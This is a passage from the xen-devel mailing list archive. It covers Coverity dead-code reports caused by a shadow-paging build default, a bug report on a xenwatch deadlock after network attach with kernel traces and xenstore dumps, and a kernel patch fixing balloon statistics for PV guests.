>> /xen/arch/x86/hvm/hvm.c: 2436             in hvm_set_cr3()
>> 2430                 curr->arch.vm_event->write_data.cr3_noflush = noflush;
>> 2431     
>> 2432                 return X86EMUL_OKAY;
>> 2433             }
>> 2434         }
>> 2435     
>>>>>     CID 1697485:         Control flow issues  (DEADCODE)
>>>>>     Execution cannot reach the expression "(value ^ curr->arch.hvm.guest_cr[3]) >> 12" inside this statement: "if (!!(curr->arch.hvm.guest...".
>> 2436         if ( hvm_paging_enabled(curr) && paging_mode_shadow(currd) &&
>> 2437              ((value ^ curr->arch.hvm.guest_cr[3]) >> PAGE_SHIFT) )
>> 2438         {
>> 2439             /* Shadow-mode CR3 change. Check PDBR and update refcounts. */
>> 2440             struct page_info *page;
>> 2441     
>>
>> ** CID 1697484:       Control flow issues  (DEADCODE)
>> /xen/arch/x86/hvm/svm/svm.c: 128           in svm_update_guest_cr()
>>
>>
>> _____________________________________________________________________________________________
>> *** CID 1697484:         Control flow issues  (DEADCODE)
>> /xen/arch/x86/hvm/svm/svm.c: 128             in svm_update_guest_cr()
>> 122                      monitor_ctrlreg_bitmask(VM_EVENT_X86_CR3) )
>> 123                    vmcb_set_cr_intercepts(vmcb, intercepts | CR_INTERCEPT_CR3_WRITE);
>> 124             }
>> 125     
>> 126             value = v->arch.hvm.guest_cr[0];
>> 127             if ( paging_mode_shadow(v->domain) )
>>>>>     CID 1697484:         Control flow issues  (DEADCODE)
>>>>>     Execution cannot reach this statement: "value |= 0x80010000UL;".
>> 128                 value |= X86_CR0_PG | X86_CR0_WP;
>> 129             vmcb_set_cr0(vmcb, value);
>> 130             break;
>> 131     
>> 132         case 2:
>> 133             vmcb_set_cr2(vmcb, v->arch.hvm.guest_cr[2]);
>>
>> ** CID 1697483:       Control flow issues  (DEADCODE)
>> /xen/arch/x86/hvm/svm/svm.c: 396           in svm_vmcb_restore()
>>
>>
>> _____________________________________________________________________________________________
>> *** CID 1697483:         Control flow issues  (DEADCODE)
>> /xen/arch/x86/hvm/svm/svm.c: 396             in svm_vmcb_restore()
>> 390                 return -EINVAL;
>> 391             }
>> 392         }
>> 393     
>> 394         if ( paging_mode_shadow(v->domain) )
>> 395         {
>>>>>     CID 1697483:         Control flow issues  (DEADCODE)
>>>>>     Execution cannot reach this statement: "if (c->cr0 & 0x80000000UL) ...".
>> 396             if ( c->cr0 & X86_CR0_PG )
>> 397             {
>> 398                 page = get_page_from_gfn(v->domain, c->cr3 >> PAGE_SHIFT,
>> 399                                          NULL, P2M_ALLOC);
>> 400                 if ( !page )
>> 401                 {
>>
>> ** CID 1697482:         (DEADCODE)
>> /xen/arch/x86/hvm/hvm.c: 2332           in hvm_set_cr0()
>> /xen/arch/x86/hvm/hvm.c: 2382           in hvm_set_cr0()
>>
>>
>> _____________________________________________________________________________________________
>> *** CID 1697482:           (DEADCODE)
>> /xen/arch/x86/hvm/hvm.c: 2332             in hvm_set_cr0()
>> 2326                 hvm_update_guest_efer(v);
>> 2327             }
>> 2328     
>> 2329             if ( paging_mode_shadow(d) )
>> 2330             {
>> 2331                 /* The guest CR3 must be pointing to the guest physical. */
>>>>>     CID 1697482:           (DEADCODE)
>>>>>     Execution cannot reach this statement: "gfn = v->arch.hvm.guest_cr[...".
>> 2332                 gfn = v->arch.hvm.guest_cr[3] >> PAGE_SHIFT;
>> 2333                 page = get_page_from_gfn(d, gfn, NULL, P2M_ALLOC);
>> 2334                 if ( !page )
>> 2335                 {
>> 2336                     gdprintk(XENLOG_ERR, "Invalid CR3 value = %lx\n",
>> 2337                              v->arch.hvm.guest_cr[3]);
>> /xen/arch/x86/hvm/hvm.c: 2382             in hvm_set_cr0()
>> 2376                 v->arch.hvm.guest_efer &= ~EFER_LMA;
>> 2377                 hvm_update_guest_efer(v);
>> 2378             }
>> 2379     
>> 2380             if ( paging_mode_shadow(d) )
>> 2381             {
>>>>>     CID 1697482:           (DEADCODE)
>>>>>     Execution cannot reach this statement: "put_page((struct page_info ...".
>> 2382                 put_page(pagetable_get_page(v->arch.guest_table));
>> 2383                 v->arch.guest_table = pagetable_null();
>> 2384             }
>> 2385         }
>> 2386     
>> 2387         if ( ((value ^ old_value) & X86_CR0_CD) &&
> For all of the above (and maybe more further down the original report): Do we have
> control over the .config Coverity uses? These (not really) issues all result from
> SHADOW_PAGING=n by default now, i.e. the unreachable statements are expected in
> that configuration (and they were there before, if the build had been done with
> SHADOW_PAGING=n).

Yes.Â  It is .github/workflows/coverity.yml which does the build and
submission to Coverity.

Right now it's a plain `make build-xen`, so will go from absolute
defaults, but we can change it if needs be.

~Andrew


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 14:04:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 14:04:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377869.1623626 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpRMp-0005JT-Iz; Thu, 30 Jul 2026 14:04:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377869.1623626; Thu, 30 Jul 2026 14:04:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpRMp-0005JM-ER; Thu, 30 Jul 2026 14:04:11 +0000
Received: by outflank-mailman (input) for mailman id 1377869;
 Thu, 30 Jul 2026 14:04:09 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wpRMn-0005JB-Je
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 14:04:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpRMn-003SOl-0A
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 16:04:09 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a6b59cd-2eae-0a2a0a5409dd-0a2a450a976c-36
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 16:04:08 +0200
Received: from [103.168.172.156] (helo=fhigh-a5-smtp.messagingengine.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a6b59d2-f2d2-0a2a450a0019-67a8ac9cb343-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 16:04:03 +0200
Received: from phl-compute-09.internal (phl-compute-09.internal [10.202.2.49])
 by mailfhigh.phl.internal (Postfix) with ESMTP id 6D24B1400103;
 Thu, 30 Jul 2026 10:04:02 -0400 (EDT)
Received: from phl-frontend-03 ([10.202.2.162])
 by phl-compute-09.internal (MEProxy); Thu, 30 Jul 2026 10:04:02 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Thu,
 30 Jul 2026 10:04:01 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:Message-ID:MIME-Version:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:message-id:mime-version:reply-to
	:subject:subject:to:to; s=fm2; t=1785420242; x=1785506642; bh=Rd
	Yz2hBVvVFaltV6EUhHjvZHikt3CS0DyeBHpSiaFFk=; b=t+gVi07Md7ahQC4muV
	ENvcFtvJZhSq1lWbgvduH6T/qy94fH9g6uhPGBCbaQNSDs226bKOla3v3qvxOKjq
	FokB8WWSrpE6m725L6Ri8L9AQoUYa9ZacN9Xp++c2KYFzgU1VcpRdtFY4wfSENSf
	SuMiIr4uhakgKrmGqTJFN2t+mGF40poBB0L4EKoCPKGB6qek4dj0MTLp3ZlWb7/y
	EhisXRt7pqdU2rf1RhWfOo/NUbrsRJL3h+rrzzfdo1A64dFdUqz60CXDlwBMfnFs
	Vt1HwecDUWDBx2ytmCzp0539of+XG1vXX2yWhaU8Aj6GBP9+SaQdrus85RlNk2vd
	kYHA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:message-id
	:mime-version:reply-to:subject:subject:to:to:x-me-proxy
	:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=1785420242; x=
	1785506642; bh=RdYz2hBVvVFaltV6EUhHjvZHikt3CS0DyeBHpSiaFFk=; b=P
	q0zzy1tln7f5Pe01V4/OjmS3SOcKza/diKDh91arUiHnzyoiVNJR0KeEh4E5MOWV
	g6LqW0HbbT3CNUYMPE2399qzFNCj5GAvMzJqtW/FWysmhVyrNe3GXuS+lv8/kwZn
	/lyAM/XiRKinSh3c5uacsDNOFNINcL5qOUJojRbjC218T+Dmv2l3VgeWpRbuqp7u
	f6E6EizaNeZnYI3hjH5knVOd4jGaX5WymZJRXoBGTXPMDJglC6KvXesezHpEZib9
	C72QrdJQcgvRMciogoWMBeY6amXw9OfLB/o3uFuMNy6Y48M1r9QGi9/spMWEm008
	+wnCPgIhg3b3/bRw3joaw==
X-ME-Sender: <xms:0llranL89HURZD59hoH-TDIE-0HCwK5yUbUF_kjwCAbYhWnhw564dA>
    <xme:0llrahKIycHWtCz1DL_8qkBQ-kvfzwSorwOuBFWqGUG_GCpzsylejhqhhM2pO-nqm
    ioPNu7j2MIebuIlrXGMUPNNm5E_o3YImpaGVdlLVAfksPyqIA>
X-ME-Received: <xmr:0llratUR8NOOEkuxd11dg3hzk6bHCnglD07mn8IZLzvRFiejFnr56eI7Ggcnsa5p0dqjJ1N9_Wv7fMRFLPTUU4-CZVm-eat1PqM>
X-ME-Proxy-Cause: dmFkZTEYmXBlkJklR/E2MeNaGzWm7xyUAyBTtjYAuplPXYtswkp1yqVGJ7H460sHddtLAs
    4L4vLNpdVYHssO4Oyhc/AJek6pPIiLpcshbdaIWgFb6AxDXjB9vPQ1m9GVv6lAOLZAyM+Y
    5Pc9la8b6I3vou5CtsJP2rlZKKdNvK+j5156DIo9urQmRBUfXSBjr++T9mBkxQt3qmXRvq
    mya0EFPihvHwT8jSUnjK4NiNXqMXrsM4YEVXyPGdBQx6xIxIx9ROS2jtH3wj3v2EHKc9GQ
    k2fURek7mK3YHjucX37zBE1i9w9bJALDcvrLS2+yH/mfHyoYokCDlRX+LscXAwdUFGDWdp
    ipCDiZIraBIAF9qOIbtAAjuW5ZWKvK9xqieT05v12vzdnhRvkVJi2mdBf+L1gGDpW44OKL
    ttXaKSBCl0+n8BZaOXo0Z4J+3cYrLSuTS3wrhOUi9bbUrFK7A4gy338BNvKgYrP92EOwxt
    LSERUcvVyYWl/kuJtGtlBwam/VRhcqgnHhTC16cZ0ZRJ39r+d6+8Q9Zeylk7fdVjmL87mO
    GLqBridPw0Y1V3vzLmZvv4dqtzmwYFfRHWiNLHquROsHWu9VqVtNr2yPl/fkkix51JW5BN
    GVjDkeHiwg7s2j0I1I0o89c33Vhgxquc5uUHsFYiywT9/i9bd1e8lJl5QYpA
X-ME-Proxy: <xmx:0llrarg-czsk9Lx4o8WwRr34k2iM1-9GO-OMnvmTuq0CEnmj_zCd5Q>
    <xmx:0llrag-C0SXvqJGleK4molj7r0-gz0E3KXiLh_u4ZXNCPMSV8o9AeQ>
    <xmx:0llratDFedqxZm8B_mYWvlKOJ5y7v_XfcTscZBF2mCENgu2cWY3ZeA>
    <xmx:0llralLM5gTCAMJBGdByyL6pD4aw3HcGhmbABT5OJ8peHEUyG7ZkvQ>
    <xmx:0llravdKRiOi3BrlSdO-9jY3QRz9WqJsqjgosi6nYRcfxMS7iKTskpHC>
Feedback-ID: i1568416f:Fastmail
Date: Thu, 30 Jul 2026 16:03:59 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: xen-devel <xen-devel@lists.xenproject.org>
Cc: =?utf-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Subject: xenwatch thread deadlock after dynamic network attach
Message-ID: <amtZz0VOkHnviZMj@mail-itl>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="/1HLk8rI+WaJVlOf"
Content-Disposition: inline
X-purgate-ID: tlsNG-4011c0/1785420243-58FC6CFC-42EF9B42/0/0
X-purgate-type: clean
X-purgate-size: 8929

--/1HLk8rI+WaJVlOf
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Thu, 30 Jul 2026 16:03:59 +0200
From: Marek =?utf-8?B?PT91dGYtOD9RP01hcmN6eWtvd3NraS1HPUMzPUIzcmVja2k/PQ==?= <marmarek@invisiblethingslab.com>
To: xen-devel <xen-devel@lists.xenproject.org>
Cc: =?utf-8?B?PT91dGYtOD9CP1NzTzhjbWRsYmlCSGNtL0Rudz09Pz0=?= <jgross@suse.com>
Subject: xenwatch thread deadlock after dynamic network attach

Hi,

I've hit yet another issue with network attach. This time, it looks like
the code to handle forceful re-attach triggers when it shouldn't. The
test is basically:
1. Start the backend domain
2. Start the frontend domain without any vif attached.
3. Attach vif (equivalent of xl network-attach).

First I get:

    [   17.476245] xen vif-0: xenbus: state reset occurred, reconnecting
    [   17.502933] xen vif-0: xenbus: state reset occurred, reconnecting
    [   17.551204] xen vif-0: xenbus: state reset occurred, reconnecting
    [   17.612171] xen vif-0: xenbus: state reset occurred, reconnecting
    [   17.654823] xen vif-0: xenbus: state reset occurred, reconnecting
    [   17.676268] xen vif-0: xenbus: state reset occurred, reconnecting
    [   17.691250] xen_netfront: Initialising Xen virtual ethernet driver
    [   17.692288] vif vif-0: xenbus: state reset occurred, reconnecting

I'm not sure why it's repeated this many times (xenstore watch triggers
this many times?), but then, all xenstore watch operations in that
domain hangs. Inspecting tasks ("t" sysrq) shows:

    [ 1494.201304] task:xenbus          state:S stack:0     pid:62    tgid:=
62    ppid:2      task_flags:0x208040 flags:0x00080000
    [ 1494.201607] Call Trace:
    [ 1494.201659]  <TASK>
    [ 1494.201711]  __schedule+0x2f3/0x780
    [ 1494.201789]  ? __pfx_xenbus_thread+0x10/0x10
    [ 1494.201890]  schedule+0x27/0xa0
    [ 1494.201966]  xenbus_thread+0x1a8/0x200
    [ 1494.202044]  ? __pfx_autoremove_wake_function+0x10/0x10
    [ 1494.202144]  kthread+0xfc/0x240
    [ 1494.202347]  ? __pfx_kthread+0x10/0x10
    [ 1494.202418]  ret_from_fork+0x158/0x170
    [ 1494.202568]  ? __pfx_kthread+0x10/0x10
    [ 1494.202636]  ret_from_fork_asm+0x1a/0x30
    [ 1494.202704]  </TASK>
    [ 1494.202773] task:xenwatch        state:D stack:0     pid:63    tgid:=
63    ppid:2      task_flags:0x208040 flags:0x00080000
    [ 1494.202936] Call Trace:
    [ 1494.202980]  <TASK>
    [ 1494.203023]  __schedule+0x2f3/0x780
    [ 1494.203091]  schedule+0x27/0xa0
    [ 1494.203177]  schedule_preempt_disabled+0x15/0x30
    [ 1494.203381]  __mutex_lock.constprop.0+0x544/0xa60
    [ 1494.203560]  ? xenbus_scanf+0xbd/0x100
    [ 1494.203636]  device_del+0x3a/0x3e0
    [ 1494.203717]  device_unregister+0x17/0x60
    [ 1494.203791]  xenbus_dev_changed+0x247/0x2a0
    [ 1494.203865]  ? __pfx_xenwatch_thread+0x10/0x10
    [ 1494.354139]  xenwatch_thread+0x92/0x1c0
    [ 1494.354274]  ? __pfx_autoremove_wake_function+0x10/0x10
    [ 1494.354545]  kthread+0xfc/0x240
    [ 1494.355389]  ? __pfx_kthread+0x10/0x10
    [ 1494.355615]  ret_from_fork+0x158/0x170
    [ 1494.355706]  ? __pfx_kthread+0x10/0x10
    [ 1494.355805]  ret_from_fork_asm+0x1a/0x30
    [ 1494.355890]  </TASK>
    ...
    [ 1496.396208] task:(udev-worker)   state:D stack:0     pid:824   tgid:=
824   ppid:270    task_flags:0x400140 flags:0x00080003
    [ 1496.398700] Call Trace:
    [ 1496.398753]  <TASK>
    [ 1496.398805]  __schedule+0x2f3/0x780
    [ 1496.398884]  schedule+0x27/0xa0
    [ 1496.398961]  schedule_timeout+0x83/0x100
    [ 1496.399036]  ? __pfx_process_timeout+0x10/0x10
    [ 1496.399141]  xennet_create_dev+0x27e/0x340 [xen_netfront]
    [ 1496.399246]  ? split+0xac/0x130
    [ 1496.399326]  ? __pfx_autoremove_wake_function+0x10/0x10
    [ 1496.399727]  netfront_probe+0x16/0x70 [xen_netfront]
    [ 1496.399833]  xenbus_dev_probe+0xe6/0x1d0
    [ 1496.399920]  really_probe+0xde/0x340
    [ 1496.400005]  ? pm_runtime_barrier+0x54/0x90
    [ 1496.400084]  ? __pfx___driver_attach+0x10/0x10
    [ 1496.400213]  __driver_probe_device+0x84/0x140
    [ 1496.400339]  driver_probe_device+0x1f/0xa0
    [ 1496.400416]  __driver_attach+0xba/0x1c0
    [ 1496.400632]  bus_for_each_dev+0x8e/0xe0
    [ 1496.400714]  bus_add_driver+0x142/0x220
    [ 1496.400790]  driver_register+0x72/0xd0
    [ 1496.400876]  __xenbus_register_frontend+0x2b/0x50
    [ 1496.400977]  ? __pfx_netif_init+0x10/0x10 [xen_netfront]
    [ 1496.401079]  do_one_initcall+0x5a/0x310
    [ 1496.401159]  do_init_module+0x90/0x250
    [ 1496.401239]  init_module_from_file+0x88/0xd0
    [ 1496.401345]  ? __pfx_ovl_file_accessed+0x10/0x10 [overlay]
    [ 1496.401557]  idempotent_init_module+0x114/0x310
    [ 1496.401656]  __x64_sys_finit_module+0x6d/0xd0
    [ 1496.401773]  do_syscall_64+0x87/0x7e0
    [ 1496.401848]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
    [ 1496.401946] RIP: 0033:0x7abadbeba7b9
    [ 1496.402029] RSP: 002b:00007ffc0ffba5d8 EFLAGS: 00000246 ORIG_RAX: 00=
00000000000139
    [ 1496.402163] RAX: ffffffffffffffda RBX: 00005aa7d2036580 RCX: 00007ab=
adbeba7b9
    [ 1496.556946] RDX: 0000000000000000 RSI: 00007abadb36d44d RDI: 0000000=
00000001b
    [ 1496.557171] RBP: 0000000000000000 R08: 0000000000000000 R09: 00005aa=
7d20518c0
    [ 1496.560779] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ab=
adb36d44d
    [ 1496.561000] R13: 0000000000020000 R14: 00005aa7d1f24b00 R15: 0000000=
000000000
    [ 1496.561301]  </TASK>

Xenstore content at this time is:

device/vif =3D ""   (n0,r61)
device/vif/0 =3D ""   (n61,r59)
device/vif/0/backend =3D "/local/domain/59/backend/vif/61/0"   (n61,r59)
device/vif/0/backend-id =3D "59"   (n61,r59)
device/vif/0/state =3D "1"   (n61,r59)
device/vif/0/handle =3D "0"   (n61,r59)
device/vif/0/mac =3D "00:16:3e:5e:6c:00"   (n61,r59)
device/vif/0/trusted =3D "0"   (n61,r59)
device/vif/0/mtu =3D "1500"   (n59,r61)

/local/domain/59/backend/vif/61/0/frontend =3D "/local/domain/61/device/vif=
/0"   (n59,r61)
/local/domain/59/backend/vif/61/0/frontend-id =3D "61"   (n59,r61)
/local/domain/59/backend/vif/61/0/online =3D "1"   (n59,r61)
/local/domain/59/backend/vif/61/0/state =3D "2"   (n59,r61)
/local/domain/59/backend/vif/61/0/script =3D "/etc/xen/scripts/vif-route-qu=
bes"   (n59,r61)
/local/domain/59/backend/vif/61/0/mac =3D "00:16:3e:5e:6c:00"   (n59,r61)
/local/domain/59/backend/vif/61/0/ip =3D "10.137.0.19 fd09:24ef:4179::a89:1=
3"   (n59,r61)
/local/domain/59/backend/vif/61/0/bridge =3D "xenbr0"   (n59,r61)
/local/domain/59/backend/vif/61/0/handle =3D "0"   (n59,r61)
/local/domain/59/backend/vif/61/0/type =3D "vif"   (n59,r61)
/local/domain/59/backend/vif/61/0/hotplug-status =3D "connected"   (n59,r61)
/local/domain/59/backend/vif/61/0/feature-sg =3D "1"   (n59,r61)
/local/domain/59/backend/vif/61/0/feature-gso-tcpv4 =3D "1"   (n59,r61)
/local/domain/59/backend/vif/61/0/feature-gso-tcpv6 =3D "1"   (n59,r61)
/local/domain/59/backend/vif/61/0/feature-ipv6-csum-offload =3D "1"   (n59,=
r61)
/local/domain/59/backend/vif/61/0/feature-rx-copy =3D "1"   (n59,r61)
/local/domain/59/backend/vif/61/0/feature-xdp-headroom =3D "1"   (n59,r61)
/local/domain/59/backend/vif/61/0/feature-rx-flip =3D "0"   (n59,r61)
/local/domain/59/backend/vif/61/0/feature-multicast-control =3D "1"   (n59,=
r61)
/local/domain/59/backend/vif/61/0/feature-dynamic-multicast-control =3D "1"=
   (n59,r61)
/local/domain/59/backend/vif/61/0/feature-split-event-channels =3D "1"   (n=
59,r61)
/local/domain/59/backend/vif/61/0/multi-queue-max-queues =3D "2"   (n59,r61)
/local/domain/59/backend/vif/61/0/feature-ctrl-ring =3D "1"   (n59,r61)

So, from what I see, the attach happens quite early in practice -
during, or even before loading xen-netfront module. But then, the device
is misinterpreted as a stale one.

This does not happen every time, only sometimes. I guess it's related to
the timing of the network-attach call.

I'll try to add some more logging (especially what state it got from
xenstore vs what it expected), but maybe you have some ideas already?

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--/1HLk8rI+WaJVlOf
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmprWc8ACgkQ24/THMrX
1yzTKgf+OV6eXsme//jMLsZ7MuosckZiZTxxnQ6WwXYcTZFb3qF+OFhfFdRvqy/z
WoX/Zld3xyvnoXcQYva+jXYRvEqwkrHbqzN/Idaf4SXkbLQUd5MSXbx6jOGzcFPu
y5JUzzpBu4Qy0c4vKq2+4AlcHnQlFZq25KK7neiwgFrs+p0uhxaBiRBTAk066nmg
WkAFRza5J7lMTVLwuCgEaQ0s/TyqqvkgxXxeNoOH0M0kEEK3REJ2xcZQkP6MNhMH
GIfyoofJ+mDGgsmH3vciybKS1sanpWj1WVhKw5WrVbrbg4Luq7vTMURRoy29q4BZ
1yZ+A+gP+fBlhQ+Gkkjf2wf7CQP1lg==
=RzRj
-----END PGP SIGNATURE-----

--/1HLk8rI+WaJVlOf--


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 14:36:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 14:36:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377920.1623634 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpRrg-00022I-SK; Thu, 30 Jul 2026 14:36:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377920.1623634; Thu, 30 Jul 2026 14:36:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpRrg-00022B-PF; Thu, 30 Jul 2026 14:36:04 +0000
Received: by outflank-mailman (input) for mailman id 1377920;
 Thu, 30 Jul 2026 14:36:03 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wpRrf-000225-6b
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 14:36:03 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wpRrb-00H74k-1B;
 Thu, 30 Jul 2026 14:35:59 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wpRra-009ZGf-1y;
 Thu, 30 Jul 2026 14:35:58 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=Content-Transfer-Encoding:Content-Type:
	MIME-Version:Message-ID:Date:Subject:Cc:To:From;
	bh=iBt3Kyqbv5Z8niQb94/bnv7WIopzIJAkOYfQitXwDUA=; b=6bMq+RwCzioKwM9/j3L+CUqTvb
	2tBMandGo3nMfI5kirBaoBeRA3pMaFevseyi2Lip1eekTPNZORCDsJQMrpkjI10Wsse+HTG3WzW3J
	RGGspv0ahsygIeSSsKYgfJDPJcnxBKKYOuMpFN/75+ZizX4MAI3uoKHZXyppteFEFxOY=;
From: Roger Pau Monne <roger@xenproject.org>
To: Juergen Gross <jgross@suse.com>,
	Roger Pau Monne <roger.pau@citrix.com>,
	xen-devel@lists.xenproject.org,
	linux-kernel@vger.kernel.org
Cc: Roger Pau Monne <roger@xenproject.org>,
	Yannick Martin <yannick.martin@okazoo.eu>,
	"Thorsten Leemhuis" <regressions@leemhuis.info>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Subject: [PATCH] x86/xen: fix init of balloon stats for PV guests with memory != maxmem
Date: Thu, 30 Jul 2026 16:35:47 +0200
Message-ID: <20260730143548.39320-1-roger@xenproject.org>
X-Mailer: git-send-email 2.53.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The handling of extra memory regions done in balloon_add_regions() is not
correct for PV guests, since the initial target is set to reflect the real
memory the system has, not what's described on the memory map, which can be
higher if memory != maxmem.

Introduce separate logic for PV vs HVM in balloon_add_regions() and handle
the extra region correctly by adding them to the total amount of pages,
instead of subtracting from the current and target pages amounts.

Fixes: 87af633689ce ("x86/xen: fix balloon target initialization for PVH dom0")
Signed-off-by: Roger Pau MonnÃ© <roger@xenproject.org>
---
Cc: Yannick Martin <yannick.martin@okazoo.eu>
Cc: "Thorsten Leemhuis" <regressions@leemhuis.info>
---
 drivers/xen/balloon.c | 23 +++++++++++++++--------
 1 file changed, 15 insertions(+), 8 deletions(-)

diff --git a/drivers/xen/balloon.c b/drivers/xen/balloon.c
index e7f1d4ca6d75..c20a1ff8292d 100644
--- a/drivers/xen/balloon.c
+++ b/drivers/xen/balloon.c
@@ -703,19 +703,26 @@ static int __init balloon_add_regions(void)
 			balloon_append(pfn_to_page(pfn));
 
 		/*
-		 * Extra regions are accounted for in the physmap, but need
-		 * decreasing from current_pages and target_pages to balloon
-		 * down the initial allocation, because they are already
-		 * accounted for in total_pages.
+		 * For HVM domains: extra regions are accounted for in the
+		 * physmap, but need decreasing from current_pages and
+		 * target_pages to balloon down the initial allocation, because
+		 * they are already accounted for in total_pages.
+		 *
+		 * For PV domains: extra regions are not accounted for in the
+		 * initial memory target, and hence need adding to the stats as
+		 * additional unpopulated regions.
 		 */
 		pages = extra_pfn_end - start_pfn;
-		if (pages >= balloon_stats.current_pages ||
-		    pages >= balloon_stats.target_pages) {
+		if (xen_pv_domain()) {
+			balloon_stats.total_pages += pages;
+		} else if (pages >= balloon_stats.current_pages ||
+		           pages >= balloon_stats.target_pages) {
 			WARN(1, "Extra pages underflow current target");
 			return -ERANGE;
+		} else {
+			balloon_stats.current_pages -= pages;
+			balloon_stats.target_pages -= pages;
 		}
-		balloon_stats.current_pages -= pages;
-		balloon_stats.target_pages -= pages;
 	}
 
 	return 0;
-- 
2.53.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 14:40:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 14:40:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377929.1623644 (Exim 4.92)
